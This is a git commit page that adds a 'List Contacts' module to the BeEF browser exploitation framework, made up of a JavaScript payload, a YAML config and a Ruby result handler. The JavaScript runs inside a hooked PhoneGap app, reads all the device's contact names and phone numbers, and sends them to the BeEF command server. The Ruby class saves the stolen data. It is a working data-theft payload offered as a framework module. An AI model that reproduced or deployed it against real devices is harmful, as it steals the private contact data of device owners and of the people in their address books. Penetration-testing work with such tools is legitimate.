adding contact list
This commit is contained in:
39
modules/phonegap/phonegap_list_contacts/command.js
Normal file
39
modules/phonegap/phonegap_list_contacts/command.js
Normal file
@@ -0,0 +1,39 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
// phonegap_list_contacts
|
||||
//
|
||||
beef.execute(function() {
|
||||
var result = '';
|
||||
|
||||
function onSuccess(contacts) {
|
||||
|
||||
for (var i=0; i<contacts.length; i++) {
|
||||
result = result + '\n' + contacts[i].displayName;
|
||||
|
||||
for (var j=0; j<contacts[i].phoneNumbers.length; j++) {
|
||||
result = result + ' #' + contacts[i].phoneNumbers[j].value;
|
||||
}
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
|
||||
|
||||
};
|
||||
|
||||
function onError(contactError) {
|
||||
result = 'fail';
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
|
||||
};
|
||||
|
||||
|
||||
var options = new ContactFindOptions();
|
||||
options.filter="";
|
||||
options.multiple=true;
|
||||
var fields = ["displayName", "phoneNumbers"];
|
||||
|
||||
navigator.contacts.find(fields, onSuccess, onError, options);
|
||||
|
||||
});
|
||||
17
modules/phonegap/phonegap_list_contacts/config.yaml
Normal file
17
modules/phonegap/phonegap_list_contacts/config.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# phonegap
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
phonegap_list_contacts:
|
||||
enable: true
|
||||
category: "Phonegap"
|
||||
name: "List Contacts"
|
||||
description: "Examine device contacts."
|
||||
authors: ["staregate"]
|
||||
target:
|
||||
working: ["All"]
|
||||
15
modules/phonegap/phonegap_list_contacts/module.rb
Normal file
15
modules/phonegap/phonegap_list_contacts/module.rb
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# // phonegap_list_contacts
|
||||
|
||||
class Phonegap_list_contacts < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['Result'] = @datastore['result']
|
||||
save content
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user